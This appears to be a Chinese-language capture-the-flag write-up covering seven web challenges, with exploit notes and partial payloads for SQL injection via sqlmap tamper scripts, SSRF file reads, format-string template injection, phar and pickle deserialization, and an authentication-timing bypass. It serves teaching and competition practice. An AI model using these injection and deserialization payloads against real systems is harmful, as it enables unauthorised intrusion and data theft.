师傅们出的题目都挺有意思
自己还是有很大差距
dooog
下载源文件后查看主要有三个站,分别是 client 端、cmd_server 端和 kdc 端,下面是我整理三个文件夹逻辑,随缘看一下。
1 | # cmd_server/app.py |
简单来说就是 client 先要注册,然后就去提交命令,提交命令需要经过访问两次 kdc 分别拿到 TGT 和 Ticket 认证身份,然后交给 cmd_server 执行,但是 cmd 限制在以下的代码里面了
1 | # kdc/app.py |
然后这里就很有意思,如果不进入这个时间判断,就可以执行任何命令了,而且不会报任何错误,不得了。回去 client/app.py 看以下会有这么一段代码
1 | if res.content == 'time error': |
这个其实是个虚假 error,其实根本不存在 time error,所以最后的 payload 就是在访问 TGT 和 Ticket 中间 sleep(60+) 就可以了。payload: client 文件夹拿过来,把 ip 改一下,然后 app.py a加个 sleep(61),然后就可以为所欲为了,中间代码太长,就不全放出来了。
1 | #visit TGS |
easy_trick_gzmtu
由 Y==2020 猜测是 date() 协议,写一个 temper 用 sqlmap 注入
1 | #!/usr/bin/env python |
1 | sqlmap -u http://121.37.181.246:6333/index.php\?time\=2020 --tamper=escapedate -D trick --dump |
1 | [16:37:52] [INFO] used SQL query returns 1 entry |
首先绕过 localhost 读文件,源码有提示 eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
1 | view-source:http://121.37.181.246:6333/eGlhb2xldW5n/check.php?url=file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php |
根据源码知道想要得 flag,需要大写然后转为整形,最后用取反绕过就可以了,正则那里则是换行绕过,最后序列化之后扔过去。
1 | <?php |
fmkq
参考链接 https://www.php.net/manual/zh/function.sprintf
覆盖begin获取输出,begin=%1$s
head=\ 可以取当前域
只剩下 http 协议,考虑扫描端口
1 | import requests |
发现 8080 有 api,看了看接口 /tmp/{file},在这里卡了很久,后来发现居然是一个模板注入…确实这里的花括号很有深意。
找 VIP code
1 | GET /?head=\&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode=1&begin=%1$s |
拿了 vip 就可以读文件,读完源码配合字符串逃逸漏洞就可以读 flag 了
1 | GET /?head=\&url=http://127.0.0.1:8080/read/file=/{vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=3l0Y42BOwFQxouc1SH5ZMXTV6nhpAkWrEItmLNsPGfi9aCKz&begin=%1$s |
hackme
代码执行可以用 compress.zlib 协议绕过
compress.zlib://data:@127.0.0.1/baidu.com?,xxx
后面是4个字符的命令执行,可以用 orange 师傅的 wp
1 | #-*-coding:utf8-*- |
nweb
一个简单的布尔注入,过滤了 select 和 from,但是可以双写绕过
1 | from multiprocessing import Pool, Manager |
webct
phar 反序列化 + 欺骗服务器
1 | <?php |
webtmp
pickle 反序列化,利用 c 标签覆盖全局变量
1 | import base64 |